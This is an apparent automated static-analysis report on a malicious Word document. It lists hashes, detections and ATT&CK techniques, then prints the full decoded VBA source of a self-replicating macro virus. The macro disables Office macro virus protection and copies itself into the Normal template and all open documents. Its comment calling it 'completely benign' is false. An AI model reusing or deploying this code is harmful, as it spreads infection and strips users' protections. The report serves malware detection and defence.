Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 87cfbafc9fad153e…

MALICIOUS

Office (OLE)

57.5 KB Created: 2012-05-10 09:16:00 Authoring application: Microsoft Word 9.0 First seen: 2016-09-01
MD5: 63a892d88d46b5ec55804e5f7b7a0bed SHA-1: 9479eb604942ece54cccc747c11cc3949315a03a SHA-256: 87cfbafc9fad153e414467b168eeb11994e7bc4e7fd2e53d5ae09a712efc50e9
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a VBA macro. The macro attempts to disable macro protection and replicate itself to the Normal template and other open documents. This behavior, along with the ClamAV detection signature 'Doc.Trojan.Thus-10', indicates a malicious intent to spread and potentially evade security measures. The document body content appears to be a legitimate meeting protocol, suggesting a lure.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2449 bytes
SHA-256: 324e7241890f3639a42ee264e580e41e465c03f9fd18d4587e0a135afa24dab6
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Smyser'
' This virus is an alteration of a virus which was
' designed to delete all files from one's C: drive on Dec 13th.
' This code is completely benign.
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub